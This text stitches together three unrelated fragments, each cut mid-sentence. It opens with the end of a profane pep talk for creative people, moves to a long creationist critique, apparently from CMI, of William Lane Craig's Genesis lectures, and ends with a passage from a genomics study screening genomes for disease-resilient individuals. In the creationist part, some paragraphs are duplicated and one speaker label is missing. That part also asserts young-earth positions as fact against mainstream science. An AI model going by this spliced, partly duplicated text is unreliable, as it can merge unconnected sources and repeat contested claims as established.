6. Don’t dismiss what you do. If you’re making the words dance or you’re snapping photos or drawing pictures, and you worry that what you’re doing is somehow shallow or insignificant, fuck that right in the banana-pipe. Even at the barebones level, entertainment has value. In times far worse than these, people needed to be entertained — not in a bread and circuses way, but in a way where, if you wanna regain some sanity and light in the middle of deep fuckery, then you need something fun. If you’re writing to entertain, I salute you. No shame in that. You’re awesome. Keep doing it.
7. But also don’t be afraid to go bigger. If your mode is to use the work to carry a greater message or elevate your ideas or to even just contextualize the bees and murder that are currently living in your heart, hey, do that. Do whatever you gotta. Just make stuff. It feels good. And we need you to do it.
8. Art has meaning. Obama talked about the books that made him who he was. Most world leaders are readers. There are reasons that a book like Atwood’s The Handmaid’s Tale is so popular right now — art leaves its mark, indelible and essential, and it helps us both understand what has come before, what will come again, and what’s happening right now. It gives context and inspiration. It challenges and us and can unfuck our heads — even as it sometimes fucks with our heads in equal measure.
9. Talk to others like you. Sometimes you just have to be with your people. Either to commiserate about current global shenanigans or, better yet, just to talk shop. Talking shop energizes me. The news enervates me. Find your people. And together, you find your way.
10. Remain cautiously, grimly optimistic. Optimism is hard. So fucking hard. Optimism is in itself an act of resistance. But optimism, as long as it’s not blind and naive, has value — and |
section:
WLC: On the other hand, the Genesis narrative is also undoubtedly, I think, meant to be symbolic and metaphorical in certain respects. For example, the name Adam in Hebrew just means man. In the beginning, God created man. And Eve means the mother of all living.
JS: This is not too bad yet. In Genesis 1:26–28, God says, “Let us make man”. ‘Man’ is here the Hebrew word ‘ādām אדם, and here means ‘mankind’. The next verse makes it clear that both sexes are included here. Of course, most English readers are far more familiar with the same word as the proper name for the first man: Adam. But there are also many places where Adam is clearly treated as an individual, not as a metaphor for humanity. For example, Adam had relations with his wife (Genesis 4:1), fathered three named sons and other sons and daughters, and lived for 930 years (Genesis 5). In the New Testament, Paul states that Adam is “the first man” in contrast to Christ, “the last Adam (1 Corinthians 15:45).18 In Romans 5, Paul contrasts two heads of humanity: Adam and Christ.”19
However, it should not be surprising that the individual first man Adam had the name he did. What could be a better name for the progenitor of all humanity than one signifying just that? The ESV rightly translates the Hebrew word without the definite article as the name Adam, while when it refers to a single person with the article, it’s ‘the man’.
WLC: Adam and Eve are not just historical individuals like Janice and Jim. This is man and the mother of all living human beings. They represent humanity before God. They are symbolic, I think, and metaphorical for humanity.
JS: In one sense, Adam did represent humanity—but he did so as an individual man. This latter must not be undermined.
Gustave Doré, 1866.
WLC: In the creation story, as it continues in Genesis 2, we have clearly metaphorical or perhaps anthropomorphic descriptions of God. God is depicted in human terms. For example, God is depicted as walking in the garden and looking for Adam and Eve. Adam and Eve are hiding from God and God calls out, “Where are you?” He’s looking for them in the garden.
JS: Is this a problem? This is not the only theophany, or visible manifestation of God, in the Bible. John Milton’s famous epic poem Paradise Lost depicts this as the pre-incarnate Christ. Before sin, Adam and Eve enjoyed a fellowship with God that they lost with sin. The same applies to their descendants, who won’t enjoy such a level of fellowship with God until the New Heaven and New Earth (for the descendants redeemed in Christ, “the last Adam”).
WLC: Or, again, when God creates man, it says that he fashions him out of the dust of the earth and breathes into his nostrils the breath of life. Clearly, this isn’t intended to mean that God literally bent down and performed CPR on Adam through his nose. Rather, this is using literary and metaphorical devices for describing his creation of humanity.
JS: This account is still a historical account: God first made Adam from non-living substance. Only after God breathed on him did he become alive. H.C. Leupold’s famous commentary on Genesis says:
The verb employed here accords more with the “Yahweh” character of God; yatsar means to ‘mold’ or ‘form’. It is the word that specifically describes the activity of the potter (Je 18:2 ff). The idea to be emphasized is that with the particular care and personal attention that a potter gives to his task God gives tokens of His interest in man, His creature, by molding him as He does. No crude material notions of God need to be associated with this verb. Let them misunderstand who insist that they must! Nor can it justly be claimed that an author who previously spoke of this work as a ‘creating’ and ‘making’ must be so limited and circumscribed in point of style as to be utterly unable to describe such a work of the Almighty from any other point of view and say He ‘formed’. Such an author must have an exceedingly cramped and wooden style. …
If the theistic evolutionists were right, then it logically follows that upon death we should become an ape-like ancestor. This is a reductio ad absurdum of the theistic evolutionary dodge. It shows once again that ‘solving’ one problem with eisegetical pretzelizing of the text creates far more problems than it ‘solves’.
But more, a far more prominent distinguishing mark characterizes man’s creation: God “breathed into his nostrils the breath of life.” A personal, vitalizing act of the Creator imparts life to man—an honour bestowed upon none of the lesser creatures. This breathing on God’s part must, as Keil rightly reminds us, be understood θεοπρεπώς [theoprepōs], i.e. in a manner befitting God. Nor can we for a moment hold that air or human breath was what God breathed into man’s nostrils. It was His own vital breath. …. Much as we may be inclined to claim that the distinctive element in man’s creation is the “breath of life” breathed into his nostrils, this is a supposition that cannot be maintained. For the expression involved, nishmath chayyîm, is practically the same as that used in 7:22 with reference to all life that perished in the flood, the only exception being that the phrase is altered to “the breath of the spirit of life” (nishmath rûch chayyîm). Not this breath itself but the manner of its impartation indicates man’s dignity.20
This is yet another huge problem for any attempt to reconcile molecules-to-man evolution with Scripture. Theistic evolution teaches that man evolved from living creatures. But in Genesis, man was made from non-living matter, with no suggestion that the ‘dust’ is intended as a metaphor for something living. Nonetheless, a common theistic evolutionary dodge is to regard ‘dust’ as a metaphor for the ape-like ancestors from which man allegedly evolved. But consider Genesis 3:19, where God judged Adam:
… till you return to the ground, for out of it you were taken; for you are dust, and to dust you shall return.
If the theistic evolutionists were right, then it logically follows that upon death we should become an ape-like ancestor. This is a reductio ad absurdum of the theistic evolutionary dodge. It shows once again that ‘solving’ one problem with eisegetical pretzelizing of the text creates far more problems than it ‘solves’.
Also, Eve was formed from Adam’s rib, again not from ape-like creatures. That is why she could be the “mother of all living”—all the rest of humanity are descended from Eve, who was herself a sort of descendant of Adam. So Paul could explain to the Athenians that all humanity comes from one man (Acts 17:26).
WLC: In fact, the whole narrative in Genesis 1 is an incredibly carefully crafted piece of Hebrew literature. It really is unique. There is nothing like this in Hebrew literature elsewhere. Scholars generally agreed that it is not poetry. It’s not a Hebrew poem, nor is it a hymn exactly. Though, it seems to have strophe or verses. But it’s not just straight forward prose either. This chapter is a highly stylized piece of writing that is constructed with certain parallels running all through it, for example “And God said,” “And God made,” “And it was so.” You find this structure repeated over and over again through the chapter. It is a very carefully stylistically constructed passage that exhibits an enormous amount of literary polish.
JS: Indeed so. Craig is right that it is not poetry. It is a structured Hebrew narrative:
Command: ‘ And God said, “Let there be … ‘ Fulfilment: ‘ And it was so. ’ Assessment: ‘ God saw that it was good. ’ Closure of the day: ‘ There was evening, there was morning, Day X.’
That is, God’s commands were fulfilled and even assessed within each 24-hour day. Attempts to avoid the clear historical time frame of Genesis destroy the connection between God’s commands and the response of His creation to His commands, making Genesis inconsistent with the rest of Scripture, and with His revelation in Christ, the ‘exact representation of God’ (Hebrews 1:3)—see also Why is CMI so dogmatic on 24-hour creation days?
WLC: The fact is that yom exhibits the same sort of latitude that the English word ‘day’ does. It can be used to describe a 24-hour period of time, but it can be used more broadly as well. Like when we say, “In Lincoln’s day, there were no automobiles yet” Obviously there, you are not referring to a 24-hour period. Yom, in Hebrew, exhibits exactly that same sort of latitude.
JS: Of course, we have long said the same thing. See for example our article ‘In my father’s day’: To determine whether ‘day’ means a long period of time, the hours of daylight, or a 24-hour period, you need to look at the context.
WLC: Also, the very phrase that is used in Genesis 1 for the first day, yom ehad or “day one”, is also used elsewhere in scripture in a non-literal sense.
JS: Actually, this phrase is very strong evidence for literal days in Genesis 1. Andrew Steinmann, Distinguished Professor of Theology and Hebrew at Concordia University, Illinois, explains:
The answer may lie in the use of the terms “night”, “day”, “evening”, and “morning”. Gen 1:5 begins the cycle of the day. With the creation of light it is now possible to have a cycle of light and darkness, which God labels “day” and “night”. Evening is the transition from light/day to darkness/night. Morning is the transition from darkness/night to light/day. Having an evening and a morning amounts to having one full day. Hence the following equation is what Gen 1:5 expresses: Evening + morning = one day.
Therefore, by using a most unusual grammatical construction, Genesis 1 is defining what a day is. This is especially needed in this verse, since “day” is used in two senses in this one verse. Its first appearance means the time during a daily cycle that is illuminated by daylight (as opposed to night). The second used means something different, a time period that encompasses both the time of daylight and the time of darkness.
It would appear as if the text is very carefully crafted so an alert reader cannot read it as ‘the first day’. Instead, by omission of the article it must be read as ‘one day’, thereby defining a day as something akin to a twenty-four hour solar period with light and darkness and transitions between day and night, even though there is no sun until the fourth day.21,22
WLC: For example, this phrase is used in Zechariah 14:7 to refer to the day of the Lord. Zechariah 14:7 refers to the day of the Lord that is to say, God’s judgment upon Israel which is clearly not meant to be just a 24-hour period of time. So the language in Genesis 1 should not be pressed to indicate literal 24-hour days.
JS: Another very weak argument. Kulikovsky explains about Zechariah 14:7:
The ‘day’ in question is surely the same as that mentioned in verses 1, 4, and 6, and it is clear from verse 5 that on ‘that day’ the Lord will come. In other words, it describes a specific time at which a space-time event occurs in the future. How can the coming of the Lord take a long period of time? It is an event: at one moment on that day, He will be absent—in the next moment He will have returned. Therefore the ‘unique day’ in Zechariah 14:7 does indeed refer to a literal 24-hour day.23
WLC: On behalf of those who do interpret it literally, I think one of the best proof texts for interpreting yom as literal in Genesis 1 actually isn’t in the book of Genesis. It’s in the book of Exodus. If you look at Exodus 20:9–11, the author is reflecting back on the Genesis narrative. He is looking back on this seven day creation week and reflecting on it. In Exodus 20:9–11 he says this: Remember the sabbath day, to keep it holy. Six days you shall labor and do all your work, but the seventh day is a sabbath of the Lord your God. In it, you shall not do any work, you or your son or your daughter, your male or your female servant or your cattle or your sojourner who stays with you. For in six days, the Lord made the heavens and the earth, the sea and all that is in them, and rested on the seventh day. Therefore, the Lord blessed the sabbath day and made it holy. Here the passage says that in six days the Lord made the heavens and the earth, the sea and all that is in them. Defenders of the literal interpretation will say that this shows that Genesis 1 is intended to refer to a literal week of six consecutive 24-hour days.
JS: Indeed we do. But Craig tries to explain it away:
WLC: But I think that this interpretation may be pressing the passage in Exodus a little too hard. What the Exodus passage is talking about clearly is the pattern that is set down in Genesis, namely, the pattern of God’s laboring for six days creating the world and then resting on the seventh day. That pattern is the same that Israel should observe in its literal work week. Israel should work for six literal days and then rest on the seventh day. But that doesn’t mean to say that because the pattern is the same, that therefore, the periods of time or the days described in Genesis 1 are therefore exactly the same length as our ordinary calendar days. Look at how the Sabbath commandment is repeated in Exodus 31: [18:45] 12–17. …
JS: In RC, I wrote:
The clearest of all [evidences for 24-hour Creation days] is the Fourth Commandment, which, in both Exodus 20:8–11 and 31:17, has the causal explanation ‘For in six days the LORD made the heavens and the Earth … but he rested on the seventh day’. The word ‘for’ (Hebrew kî כי, also having the sense ‘because’) at the beginning of this expression is a causal explanation, showing that the Creation Week is the very basis of the working week. In these passages, it’s explicit that the Creation Days were the same as those of the human work week. There is no point even trying to understand the Bible if a word in the same passage and same grammatical context can switch meanings, without any hint in the text itself.
Craig continues with his eisegetical pretzelizing:
WLC: Notice that in this passage, it refers to the seventh day as the day of God’s Sabbath rest. It says, “On the seventh day, God ceased from labor and was refreshed by this day.” But when you read Genesis 1, the seventh day is clearly not a 24-hour period of time. It, unlike the other days, does not come to an end with evening and morning.
So “the seventh day is clearly not a 24-hour period of time”—not even something tentative such as “might not be”, mind you. This would have been news to most of the Church Fathers, medieval theologians, and Reformers. For example, the leading theologian and apologist of the Middle Ages, Thomas Aquinas (c. 1225–1274):
The words ‘one day’ are used when day is first instituted, to denote that one day is made up of twenty-four hours.—Thomas Aquinas
The words ‘one day’ are used when day is first instituted, to denote that one day is made up of twenty-four hours. Hence, by mentioning ‘one’, the measure of a natural day is fixed. Another reason may be to signify that a day is completed by the return of the sun to the point from which it commenced its course. And yet another, because at the completion of a week of seven days, the first day returns which is one with the eighth day. The three reasons assigned above are those given by Basil (Hom. 2[8] in Hexaem).24
More recently, Steinmann pointed out:
Likewise, the seventh day is referred to as הַשְּׁבִיעִי [hashəvî’î] (Gen 2:3), with lack of an article on יום [yôm]. This, also, the author is implying, was a regular solar day. Yet it was a special day, because God had finished his work of creation.25
Also, systematic theologian Dr Doug Kelly responded to this sort of argument as follows—and since this is a favourite of Craig’s hero Hugh Ross, I cited this in RC:
To say the least, this places a great deal of theological weight on a very narrow and thin exegetical bridge! Is it not more concordant with the patent sense of the context of Genesis 2 (and Exodus 20) to infer that because the Sabbath differed in quality (though not—from anything we can learn out of the text itself—in quantity), a slightly different concluding formula was appended to indicate a qualitative difference (six days involved work; one day involved rest)? The formula employed to show the termination of that first sabbath: “And on the seventh day God ended His work which He had made; and He rested on the seventh day from all His work which He had made” (Gen. 2:2) seems just as definite as that of “and the evening and the morning were the first day.”26
WLC: God is still in the day of his Sabbath rest. God is still in the period of no longer being active in creating new things.
JS: As I pointed out in RC:
If someone says on Monday that he rested on Saturday and is still resting, it in no way implies that Saturday lasted until Monday.27
WLC: If the seventh day, though it is referred to as a day and is the model for Israel’s literal Sabbath day, isn’t to be taken literally as we know, then why should the other days also be taken literally as 24-hour periods of time?
JS: Surely, if Craig is using the absence of evening and morning as proof that the 7th day is not 24-hours, then we have an answer to his question: that the other days do end with evening and morning!
WLC: Sometimes those who defend the literal interpretation of six consecutive 24-hour days will point out that when an ordinal number is used with the word yom as in second day, third day, and fourth day, then it always refers to a literal 24-hour day. When you use an ordinal number like second, third, fourth, fifth with yom, then it’s always referring to a literal 24-hour day. … They will say that the use of the ordinal number with yom indicates that it’s a 24-hour period of time. However, I don’t find this to be a convincing argument at all. First of all, there is no grammatical rule in Hebrew that says that yom followed by an ordinal number has to refer to a 24-hour period of time. Even if it were the case that nowhere else in Hebrew literature that we have extant do we find yom followed by an ordinal number not referring to a 24-hour day, that could just be an accident of the Hebrew literature that happens to have survived.
JS: Of course, we could get into the debate about whether grammatical rules are prescriptive, as Craig evidently believes, or descriptive—describing the way the language is used. Indeed, it is true that day with a numeric does mean an ordinary day in Hebrew. See for example the carefully documented study The days of Creation: A semantic approach.
Also, Craig’s excuse is really special pleading. In RC, I responded to a similar claim:
Long-agers Bradley and Olsen claim that all exegetical bets such as the number/day connection are off, because Creation is the one exception to the rule:
There is no other place in the Old Testament where the intent is to describe events that involve multiple and/or sequential, indefinite periods of time. If the intent of Genesis 1 is to describe creation as occurring in six, indefinite time periods, it is a unique Old Testament event being recorded. Other descriptions where yôm refers to an indefinite time period are all for a single time period. Thus, the absence of the use of yamîm for other than regular days and the use of ordinals only before regular days elsewhere in the Old Testament cannot be given an unequivocal exegetical significance in view of the uniqueness of the events being described in Genesis 1 (i.e, sequential, indefinite time periods).28
This is classic question-begging—they assume that the authors’ intent was to describe sequential indefinite periods of time, yet this is what needs to be demonstrated. And claims of exceptions require exceptionally strong reasoning! Secondly, as we have pointed out, we are perfectly aware that there are some occasions where yôm can mean an indefinite period of time. This is so only when it is modified by a preposition such as be (e.g. as we have shown with Genesis 2:4 [see below]). However, none of the instances in Genesis 1 are modified in this way.
WLC: Secondly, in any case, the claim is simply false. It is false. We do have passages where yom is used with an ordinal number to refer to a non-literal day. One such passage would be Hosea 6:2. In Hosea 6:2, it says, “He will revive us after two days. He will raise us up on the third day that we may live before him.” Here the days are not meant to be 24-hour periods of time. It is talking about God’s judgment upon Israel. He’s rent Israel. He has judged Israel. But on the third day, he will raise us up. The third day is symbolic of the day of God’s deliverance and healing and restoration of Israel after it’s having been wounded and rent by the Lord’s judgment. It’s simply false that yom used with an ordinal number always refers to a 24-hour period of time. In Hosea 6:2, it is clearly not referring to a literal 24-hour period of time.
JS: From RC, yet again:
The old-Earth creationist Alan Hayward, whom Ross praises for ‘sound theology’ despite being a unitarian,29 so denying the Deity of Christ as is clearly taught in the New Testament (e.g. John 1:1–14, 5:18; Titus 2:13), claimed that this passage “is at least one exception that shatters the so-called rule.”30 Not surprisingly, Ross accepts and repeats this argument (C&T:47).
However, this verse is set in a very specific sort of poetic synonymous parallelism. It is a common Semitic device, which takes the form X//X+1, i.e. one number followed by the next one, but where the numbers are not meant to be taken literally because they refer to the same thing in different ways.31 Other OT examples that illustrate the synonymity are:
Job 5:19: ‘From six calamities he will rescue you, from seven no harm will befall you.’ Prov. 6:16: ‘There are six things that the Lord hates, seven that are detestable to him:’ Prov. 30:15: ‘There are three things that are never satisfied, four that never say, “Enough!” Prov. 30:18: ‘There are three things that are too amazing for me, four that I do not understand.’ Amos 1:3: ‘This is what the Lord says: “For three sins of Damascus, even for four, I will not turn back my wrath…” Hosea 6:2 is likewise this specific Semitic figure of speech, so must be interpreted accordingly. So the use of ‘two days’ and ‘three days’ are not intended to give literal numbers, but to communicate that the restoration of Israel mentioned in the previous verse will happen quickly and surely. This applies regardless of eschatological views about when this takes place. Therefore, these instances must refer to normal days, or maybe even shorter periods, as opposed to long periods, otherwise the device would lose its meaning, i.e. the restoration would not be quick and sure if the days were long periods of time. So Hayward and Ross are wrong to use this verse with a special grammatical structure to try to overturn the hundreds of crystal-clear examples of yôm used with a number.
WLC [in the following week’s lecture]: We saw in particular that it would be unwarranted to think that the word yom or day has to refer to a literal day. For example, in Genesis Chapter two and verse four, you have the word yom used in a clearly metaphorical way. In Genesis two-four, it says “This is the account of the heavens and the earth when they were created in the day that the Lord God made earth and heaven.” Now in this passage, Genesis two-four, it refers to the entire creation week as the day in which the Lord made the heavens and the earth. Even in the very creation account itself we have the word yom used in a metaphorical sense to describe the entire creation week not just a 24-hour period of time. In any case, showing that the word yom means a 24-hour day really doesn’t begin to address the question of whether or not a 24-hour day might be used as a metaphor for something else.
JS: Now Craig wrenches a word from one context to twist the same word used in a completely different context. As Hebrew scholar Robert McCabe explains:
In Genesis 2:4 יוֹם yôm is part of what I can call a grammatically bound construction. To communicate my point, I will provide a literal translation of 2:4: “in-the-day-of-making by the Lord God earth and heaven.” The five hyphenated words in this translation comprise this compound grammatical relationship. These five words involve three closely related words in the Hebrew text: an inseparable preposition (“in,” bə) immediately attached to “day” (yôm) a construct, singular noun, and an infinitive construct (“making,” ‘āśôt). Elsewhere in the Bible, this compound bə yôm is often a Hebrew idiom for “when”, thus the verse means, “when the Lord God made the earth and heaven.32
Furthermore, as pointed out in RC:
There is also a parallel passage in Numbers 7:10–84. In verses 10 and 84, beyôm is used in relation to the whole 12 days of sacrifice at the dedication of the tabernacle. But in between these at verses 12, 18, 24, etc. we have yôm used with a number to refer to each of the 12 literal days.33
WLC: Even if it were true that the word yom means 24-hour period of time, that doesn’t even begin to address the literary question of whether or not a 24-hour day might not be used as a literary metaphor for something else. I don’t find the arguments on behalf of the literal interpretation compelling. …
JS: But unlike Craig, the vast majority of exegetes have found a literal interpretation compelling—until the rise of uniformitarian geology and capitulation of many conservative Bible commentators to this view. See How has Genesis 1–11 been understood throughout history? and Is Genesis poetry / figurative, a theological argument (polemic) and thus not history?
WLC: I want you to notice something very peculiar when it comes to the third day. If you have your Bible, take a look at Genesis chapter 1, verses 11 and 12. This is one of the most interesting features of this narrative. Genesis chapter 1, verses 11 and 12 says, “Then God said, ‘Let the earth bring forth vegetation, plants yielding seed, and fruit trees on the earth, bearing fruit after their kind with their seed in them,’ and it was so.” The earth brought forth vegetation and fruit trees, etc., etc. Notice it doesn’t simply say here, “And God said, ‘Let there be fruit trees and vegetation,’ and it was so,” a sort of miraculous creatio ex nihilo. No. What it says is, let the earth bring forth vegetation, and fruit trees bearing seed after their kind, and bearing fruit after their kind. Then it says the earth brought these things forth. We all know how long it takes, for example, for an apple tree to grow up from a little shoot, become a sapling, then grow into a big tree and blossom and put forth flowers and then put out apples, finally.
JS: God, the creator of time, is hardly limited by time. A number of the Church Fathers thus believed that God caused instantaneous growth, e.g. Basil the Great ( 329–379):
“Let the earth bring forth grass.” In a moment earth began by germination to obey the laws of the Creator, completed every stage of growth, and brought germs to perfection. …
At this command every copse was thickly planted; all the trees, fir, cedar, cypress, pine, rose to their greatest height, the shrubs were straightway clothed with thick foliage. The plants called crown-plants, roses, myrtles, laurels, did not exist; in one moment they came into being, each one with its distinctive peculiarities. Most marked differences separated them from other plants, and each one was distinguished by a character of its own. …
‘Let the earth bring forth.’ This short command was in a moment a vast nature, an elaborate system. Swifter than thought it produced the countless qualities of plants.—Basil the Great
“Let the earth bring forth.” This short command was in a moment a vast nature, an elaborate system. Swifter than thought it produced the countless qualities of plants. It is this command which, still at this day, is imposed on the earth, and in the course of each year displays all the strength of its power to produce herbs, seeds and trees. Like tops, which after the first impulse, continue their evolutions, turning upon themselves when once fixed in their centre; thus nature, receiving the impulse of this first command, follows without interruption the course of ages, until the consummation of all things.34
WLC: Finally, notice also the sixth day. This is the day that God creates Adam and Eve. When you read chapter 2 of Genesis, it makes it plausible that the author didn’t intend that sixth day to be just a 24-hour period of time. He goes on in chapter two to describe Adam’s activity on this day prior to Eve’s creation, naming all of the animals, for example. Hundreds and thousands of animals that must have been known to the ancient Israelites, and in order to get acquainted with their habits, to realize that none of them is fit for him as a mate, that he is alone and unique in creation, and then having him fall asleep, and Eve finally being created, seems to envision a longer period of time.
JS: More tired old arguments, long ago answered by YECs:
First, Genesis 2:19 clearly states that God brought the animals to Adam. So there was no need to expend time finding and capturing them.
Second, as explained earlier, the number of kinds was much smaller than the number of today’s species.
Third, the list of animals that Adam had to name was far from exhaustive. Scripture explicitly states that Adam named all the ‘ livestock ’ (behemāh), the ‘ birds of the air ’ (‘oph hashāmayim) and all the ‘ beasts of the field ’ (chayyat hassādeh). There is no indication that Adam named the fish in the sea or any other marine organisms, nor did he name any of the insects or arachnids. So, like the Ark’s obligate passengers (see comments on Genesis 7), this involved only a small fraction of all the kinds of animals. Furthermore, the animals Adam had to name were even fewer—Genesis 2:20 omits ‘creeping things’ (remes, reptile), and the ‘beasts of the field’ are a subset of the ‘beasts of the earth’ of Genesis 1:24.
Combining both facts—that ‘kinds’ are broader than species, and that there was only a small subset of all kinds—there were probably only a few thousand animals involved at most. Even if we assume that Adam had to name as many as 2,500 kinds of animals, if he took five seconds per kind, and took a five-minute break every hour, he could have completed the task in well under four hours.35,36
When at last Eve is presented to Adam in chapter 2, verse 23, what does he say? “This at last is bone of my bones and flesh of my flesh.” The word there, “at last,” is a word that connotes a period of time or a period of waiting. For example, it’s the same word that’s used in the story of Jacob with Leah and Rachel, where Jacob “at last” is able to leave Laban after 14 years of working to win Leah and Rachel as his wives. Also, when Jacob finally sees his son, Joseph, and is ready to depart this life and to die, the same word is used. “At last” he is ready. This phrase “at last” is used in Genesis elsewhere to indicate a long time of waiting. That again suggests that the author didn’t see what he said in Genesis 1 as being a description of a 24-hour period. For these and other various reasons, I think that one can legitimately approach Genesis one-three with greater flexibility than what the literal interpretation would imply. If this is right, that would mean that the creation account is not meant to be transpiring in 6 consecutive 24-hour days. …
JS: Another eisegetical fairy tale from the Rossite woods, once again addressed in RC:
Happa’am = ‘at last’?
Happa’am ( הפעם ) is merely pa’am ( פעם ) with the definite article added, so the ‘p’ is doubled. Although Ross claims this is ‘usually translated as “now at length”‘, this is simply not supported by major translations such as the KJV, NKJV, NIV or NASB. Nor is it supported by other parts of the Bible. Rather, the lexicons show that while pa’am has a variety of meanings, and is most often translated ‘time’, with the definite article it means ‘this time’.37 This is illustrated by passages Ross conveniently omits:
Judges 6:39—Gideon says to God, ‘ may I speak once more … let me make a test once more ’. Both times, ‘once more’ is the NASB translation of happa’am, but the second test is only 24 hours after his first test. The KJV has ‘but this once’.
’. Both times, ‘once more’ is the NASB translation of happa’am, but the second test is only 24 hours after his first test. The KJV has ‘but this once’. Genesis 18:32—Abraham said to God, ‘ I shall speak only this once’ (NASB); ‘I will speak yet but this once ’ (KJV). Here, happa’am is translated ‘this once’, and it is used at the end of a short dialogue about the coming destruction of Sodom.
There is no basis for saying that this word carries with it the idea of a long period of time in Genesis 2.
WLC: Historically, it’s interesting to note that many of the church fathers and the rabbis down through history did not take Genesis 1 to refer to literal 24-hour days. People like Augustine and Origen and Justin Martyr, for example, and others of the church fathers took these to be not 24-hour periods of time.
JS: Actually, it’s very hard to find plausible candidates apart from Augustine, Origen, and a handful of others. That’s why their names keep coming up as if they were representative of the early Church views, when they were actually a small minority. And even they do not support the compromisers’ case.
As Patristics scholar Dr Benno Zuiddam has documented, Augustine was a young earth creationist—theistic evolutionists take this Church Father out of context. At one time, he wanted instantaneous days—the opposite of the long days that Craig’s hero Ross wants. But he came around to 24-hour days. CMI has long ago pointed out that Augustine strongly denounced ages longer than 6,000 years, while Origen was scathing of ages over 10,000 years.
Justin Martyr did not believe in long creation days. Rather, he was one of a number of early writers who believed that the six days of creation were a pattern for six thousand-year periods of history. This came from the widely misunderstood passage 2 Peter 3:8, which in turn cites Psalm 90:4, “one day is like a thousand years”—see the correct explanation for this; note that it is a simile not an equation. But it’s important to note that they didn’t say that the creation days were a thousand years long. They believed the world would only last for six thousand years from Creation before the return of Christ and the Millennium. In other words, each Day of Creation corresponded to (but was not equal to) one thousand years of subsequent Earth history, which culminated in the Millennium (the thousand-year reign of Christ) that paralleled the 7th Day (of rest), and the world as we know it would last no longer than seven thousand years. Long-ager Davis Young affirms:
[Some Church Fathers] did not believe that the creation had taken place over six millennia but that the totality of human history would occupy six thousand years, a millennium of history for each of the six days of creation.—Long-ager Davis Young
But the interesting feature of this patristic view is that the equation of days and millennia was not applied to the creation week but rather to subsequent history. They did not believe that the creation had taken place over six millennia but that the totality of human history would occupy six thousand years, a |
16.8% and 15.6% of the disease genes, respectively.
Table 1: The Resilience Project gene and allele panels cover diseases from 16 categories Full size table
Disease-causing mutations in genes in the disease gene panel were identified using two independent pipelines. The first, comprising a core allele panel (CAP; Supplementary Table 2), aimed to identify well-established and well-annotated disease mutations, and the second, comprising an expanded allele panel (EAP), aimed to identify mutations that have strong support for causing severe childhood disorders. The CAP comprised 674 founder or major recurrent mutations from 162 genes representing 125 severe, early-onset diseases. Among these mutations, 47% were missense, 20% were nonsense, 11% affected splicing, 4% were in-frame insertions or deletions, and the remaining 18% were frameshift insertions or deletions resulting in premature stop codons (Supplementary Fig. 2). The EAP was intended to complement the CAP by casting a broader net for disease mutations in genes in the disease gene panel, tolerating a higher number of false positives with respect to our selection criteria for the initial identification of resilient individuals, and resolving the false-positive identifications by manual curation and clinical review. The EAP covered 24,186 variants from HGMD tagged as “disease causing mutations” (DM) with allele frequencies lower than 0.5% in the 1000 Genomes Project20 and NHLBI GO Exome Sequencing Project (ESP)6500 (ref. 21; Table 1).
Applying CAP and EAP to screen 589,306 genomes
In our search for resilient individuals, we analyzed existing DNA sequence and genotype data from 12 past and ongoing genetic studies worldwide (Online Methods and Table 2). Combined, these data sets provided genome-wide variant data on 589,306 individuals. Because individual-level data could not be shared across studies, we were unable to definitively assess the number of unique individuals represented. However, we anticipate that all 589,306 individuals are unique given the geographic separation between most of the studies and the low sampling rates in the studies that sampled across broader geographic regions. We verified this in the samples from 2 of the 12 studies, 1000 Genomes and UK10K project22 samples using a single-nucleotide polymorphism (SNP) panel of 40 polymorphic markers. In comparing all samples pairwise across these two studies, we identified no duplicate samples, in addition to 18 twin pairs from UK10K.
Table 2: Data sources used in current retrospective study Full size table
Given the different genotyping or sequencing assays run across the cohorts in our study, the coverage across all variants represented in CAP and EAP varied widely among the samples (Supplementary Fig. 3). A subset of 59 loci in CAP was covered across all samples in the study. For The Cancer Genome Atlas (TCGA) Project, UK10K and 1000 Genomes studies, which comprised 19,820 samples, the assays covered all 674 loci in the CAP. However, for these data sets we did not obtain the per-sample coverage for each locus, so individual samples may not cover all loci. Per-sample coverage was available for only one cohort, the Swedish schizophrenia cohort (SWE-SCZ)23. These data were used to assess the extent of coverage achieved across all CAP loci. For the 5,092 samples in SWE-SCZ, 670 of the 674 loci in CAP are well-covered by all samples, with the remaining four loci having no coverage in any sample. The four loci not covered are intronic and are at least 20 nucleotides from the closest exon. For cohorts with genotype data, we used both assayed and imputed genotypes in the screen, making use of information on the quality of the called genotype, genotype likelihood and imputed genotype confidence to filter out spurious candidates. Of the 674 loci in CAP, the 23andMe, Mount Sinai BioBank, the Children's Hospital of Philadelphia (CHOP) BioBank and Finnish (components listed in Online Methods) cohorts had 297, 105, 59 and 163 filtered loci, respectively (Supplementary Fig. 4). Over all studies, the effective number of loci (as a proportion of all loci covered in CAP) was 36.5%.
Identifying candidate resilient individuals
We identified 15,597 candidate resilient individuals from our screen of 589,306 genomes against the CAP and EAP panels, representing 300 compound heterozygous or homozygous mutations across 188 genes for 163 Mendelian diseases. Of these 15,597 candidates, 367 were identified from the CAP (44 mutations), whereas the remaining 15,230 were identified from the EAP (256 mutations). We manually reviewed all mutations represented in this group to ensure that the corresponding phenotype associated with these mutations met our criteria for inclusion (completely penetrant, severe phenotype, early age of onset) and to ensure the genotype calls were made with high confidence. We excluded 6,667 of 15,597 candidates due to low confidence in the genotype call as represented by either low sequencing depth, high GC or AT content, repetitive sequence region or skewed Hardy-Weinberg equilibrium statistics. We excluded an additional 8,627 candidates owing to high population frequency (>0.5%) of discovered variants or an inability to access individual data for follow-up (e.g., ESP data set) (Table 3).
Table 3: Reasons for filtering out initial candidates due to sequencing quality, inaccurate information obtained from databases, clinical review of mutations, and clinical review of individual medical record Full size table
For the remaining 303 candidates, we carried out a manual review of each mutation with a review team composed of bioinformatics scientists, board-certified clinical geneticists, medical consultants and genetic counselors to assess whether variation in the ages of onset and/or variations in the expression of the corresponding phenotype could explain why a candidate was flagged. For 245 of the 303 candidates, we determined the expressivity of the disease phenotype was not extreme enough to unambiguously categorize the candidate as completely resilient (Table 3). Another 16 candidates were excluded because the published literature could not provide sufficient evidence to support pathogenicity for the variants discovered in these individuals, although the diseases associated with the corresponding genes are generally severe enough to be considered as candidates in our list.
